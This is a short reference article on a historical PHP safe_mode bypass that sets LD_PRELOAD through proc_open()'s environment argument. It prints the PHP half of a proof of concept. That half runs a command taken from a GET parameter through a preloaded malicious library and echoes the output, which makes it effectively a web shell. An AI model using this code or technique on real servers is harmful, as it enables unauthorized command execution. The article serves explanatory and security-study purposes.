Legacy PHP safe_mode bypass via proc_open and a custom environment
This historical Linux technique uses the environment argument of proc_open() to set LD_PRELOAD for a child process. The preloaded shared library hooks a function invoked during process startup and runs a command outside PHP’s former safe_mode restrictions. It requires a writable directory, an enabled proc_open(), and a shared library compiled for the target platform.[1] The fifth argument to proc_open() supplies the child process’s environment.[2] PHP removed safe_mode in version 5.4, so treat this as a legacy technique rather than a general disable_functions bypass.[3]
The PHP portion of the original proof of concept writes the requested command to .comm, starts a child with the malicious library preloaded, and then reads the captured output:[1]
<?php
$path = "/var/www"; // Change to a writable path.
$commandFile = fopen($path . "/.comm", "w");
fputs($commandFile, $_GET["c"]);
fclose($commandFile);
$descriptorSpec = [
0 => ["pipe", "r"],
1 => ["file", $path . "/output.txt", "w"],
2 => ["file", $path . "/errors.txt", "a"],
];
$environment = ["LD_PRELOAD" => $path . "/a.so"];
$process = proc_open("id > /tmp/a", $descriptorSpec, $pipes, ".", $environment);
sleep(1);
$output = fopen($path . "/.comm1", "r");
echo "<pre><b>";
while (!feof($output)) {
echo fgets($output);
}
fclose($output);
echo "</b></pre>";
?>
The trigger command itself is not the important part and is expected to be blocked or fail in the original scenario. On the affected setup, proc_open() first starts /bin/sh -c; the dynamic loader processes LD_PRELOAD while loading the shell, and the preloaded getuid() hook executes the command stored in .comm before the shell finishes handling the trigger. The hook then moves the captured output to .comm1 for the PHP script to read.[1]